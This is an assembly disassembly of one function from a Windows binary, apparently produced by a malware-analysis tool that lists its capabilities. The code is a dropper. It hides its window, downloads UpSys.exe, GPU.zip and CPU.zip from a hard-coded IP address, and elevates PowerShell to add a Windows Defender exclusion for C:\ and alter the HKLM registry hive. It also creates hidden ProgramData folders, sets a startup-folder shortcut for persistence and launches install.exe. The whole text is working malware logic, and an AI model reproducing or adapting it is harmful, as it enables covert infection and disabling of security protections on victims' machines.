Function at 0x4073e0
Capabilities:
Create directory
Create process on windows
Create process suspended
Create thread
Download url
Get common file path
Get file attributes
Get startup folder
Hide graphical window
Print debug messages
Receive data
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x451a27
mov eax, dword fs:[0]
push eax
sub esp, 0xa0
mov eax, dword [0x4691b4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov byte [ebp - 0xa8], 0
lea ecx, [ebp - 0x40]
push dword [ebp - 0xa8]
call fcn.0040d3c0
add esp, 4
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], 0
call fcn.00404470
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x2c]
mov byte [ebp - 0xa1], al
cmp ecx, 8
jb 0x407491
mov edx, dword [ebp - 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x407481
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x407481
call fcn.0042b71c
push ecx
push edx
call fcn.00424e41
mov al, byte [ebp - 0xa1]
add esp, 8
test al, al
jne 0x4074c6
push 0
push 0
push str.C:ProgramDataUpSys.exe
push str.http:__94.156.66.98_UpSys.exe
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
push 0
push 0
push str.C:ProgramDataUpSys.exe__SW:0_powershell.exe___Add_MpPreference__ExclusionPath_C:_____cd_HKLM:_____New_ItemProperty
push str.powershell.exe
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
push str.C:ProgramDataMicrosoftNetwork
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push str.C:ProgramDataMicrosoftNetwork
call edi
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
or eax, 0x80
push eax
push str.C:ProgramDataMicrosoftNetwork
call esi
push 0
push 0x463ff0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x463ff0
call edi
or eax, 0x80
push eax
push 0x463ff0
call esi
push 0
push 0x464018
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x464018
call edi
or eax, 0x80
push eax
push 0x464018
call esi
lea ecx, [ebp - 0x40]
call fcn.00404a00
sub esp, 0x18
mov dword [ebp - 4], 1
mov ecx, esp
mov dword [ebp - 0xa8], esp
push 0x46bd34
call fcn.0040a300
sub esp, 0x18
mov byte [ebp - 4], 2
mov ecx, esp
mov dword [ebp - 0xac], esp
push 0x46bd4c
call fcn.0040a300
sub esp, 0x18
mov byte [ebp - 4], 3
lea eax, [ebp - 0x40]
mov ecx, esp
push eax
call fcn.0040a300
mov byte [ebp - 4], 1
call fcn.00404610
mov dword [ebp - 4], 0xffffffff
add esp, 0x48
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0x10
jb 0x4075cc
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4075c2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4075c2
call fcn.0042b71c
push ecx
push edx
call fcn.00424e41
add esp, 8
call fcn.00406ef0
push 0x208
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call esi
push 0x208
push 8
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
mov esi, eax
push str.C:__ProgramData__MicrosoftNetwork__System.exe
push esi
mov dword [ebp - 0xa8], esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 1
push 7
push edi
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push str.exe.lnk
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
sub esp, 0x14
mov ecx, esi
push edi
call fcn.00406d20
add esp, 0x18
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call esi
push dword [ebp - 0xa8]
push 0
call edi
push eax
call esi
push 0
push 0
push 0
push 0x406cf0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x407677
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
xorps xmm0, xmm0
mov dword [ebp - 0x20], 0
movq qword [ebp - 0x28], xmm0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 4
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x9c]
push 0x14
push str.C:ProgramDataData_
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0
call fcn.0040c0e0
lea edx, [ebp - 0x28]
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x9c]
call fcn.004070b0
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x407753
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x407749
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40747c
push ecx
push edx
call fcn.00424e41
add esp, 8
push 0x17
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.C:ProgramDataSystemd_
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0040c0e0
lea edx, [ebp - 0x1c]
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x9c]
call fcn.004070b0
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x4077d9
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4077cf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40747c
push ecx
push edx
call fcn.00424e41
add esp, 8
mov ecx, dword [ebp - 0x24]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x28]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x407853
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 4
movups xmmword [ecx], xmm0
push str.Data
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.0040c460
call fcn.00404d30
add esp, 0x18
push 0x1c20
call edi
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x15
movups xmmword [ecx], xmm0
push str.C:ProgramDataData
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.0040c460
call fcn.00405830
add esp, 0x18
push str.cheack_folder_GPU
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 0x18]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x1c]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4078d8
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 7
movups xmmword [ecx], xmm0
push str.Systemd
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.0040c460
call fcn.00404d30
add esp, 0x18
push 0x1c20
call edi
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x18
movups xmmword [ecx], xmm0
push str.C:ProgramDataSystemd
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.0040c460
call fcn.00405830
add esp, 0x18
mov esi, dword [sym.imp.urlmon.dll_URLDownloadToFileW]
push 0
push 0
push 0x4640fc
push str.http:__94.156.66.98_GPU.zip
push 0
call esi
push 0x14
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
push 0x4638a4
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x2c], 0
movups xmmword [ebp - 0x40], xmm0
call fcn.0040c460
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x9c]
push 0x1b
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.C:ProgramDataDataGPU.zip
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0
call fcn.0040c460
push ecx
lea edx, [ebp - 0x40]
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x9c]
call fcn.0040e020
mov byte [ebp - 4], 8
add esp, 4
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x40799c
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407992
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40747c
push ecx
push edx
call fcn.00424e41
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
cmp ecx, 0x10
jb 0x4079ef
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4079e5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40747c
push ecx
push edx
call fcn.00424e41
add esp, 8
push 0
push 0
push 0x464150
push str.http:__94.156.66.98_CPU.zip
push 0
call esi
push 0x17
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
push 0x46384c
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x2c], 0
movups xmmword [ebp - 0x40], xmm0
call fcn.0040c460
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x9c]
push 0x1e
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.C:ProgramDataSystemdCPU.zip
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0
call fcn.0040c460
push ecx
lea edx, [ebp - 0x40]
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x9c]
call fcn.0040e020
mov byte [ebp - 4], 0xa
add esp, 4
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x407aad
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407aa3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40747c
push ecx
push edx
call fcn.00424e41
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
cmp ecx, 0x10
jb 0x407b00
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407af6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40747c
push ecx
push edx
call fcn.00424e41
add esp, 8
push 0x44
lea eax, [ebp - 0x84]
push 0
push eax
call fcn.00425ee0
add esp, 0xc
mov dword [ebp - 0x58], 1
lea eax, [ebp - 0x94]
xorps xmm0, xmm0
movups xmmword [ebp - 0x94], xmm0
push eax
lea eax, [ebp - 0x84]
push eax
push 0
push 0
push 8
push 0
push 0
push 0
push 0
push str.C:ProgramDataDatainstall.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x94]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x90]
call esi
push 0x36ee80
call edi
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 4
movups xmmword [ecx], xmm0
push str.Data
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.0040c460
call fcn.00404d30
mov ecx, esp
xorps xmm0, xmm0
push 7
push str.Systemd
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.0040c460
call fcn.00404d30
add esp, 0x18
push 0x1c20
call edi
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x15
movups xmmword [ecx], xmm0
push str.C:ProgramDataData
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.0040c460
call fcn.00405830
mov ecx, esp
xorps xmm0, xmm0
push 0x18
push str.C:ProgramDataSystemd
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.0040c460
call fcn.00405830
mov byte [ebp - 4], 4
add esp, 0x18
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x407c8a
mov edx, dword [ebp - 0x18]
push ecx
call fcn.0040c550
mov ecx, dword [ebp - 0x14]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x1c]
add esp, 4
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 3
cmp ecx, 0x1000
jb 0x407c6b
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40747c
push ecx
push esi
call fcn.00424e41
add esp, 8
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x28]
test ecx, ecx
je 0x407680
mov edx, dword [ebp - 0x24]
push ecx
call fcn.0040c550
mov ecx, dword [ebp - 0x20]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x28]
add esp, 4
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 3
cmp ecx, 0x1000
jb 0x407ce5
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40747c
push ecx
push esi
call fcn.00424e41
add esp, 8
jmp 0x407680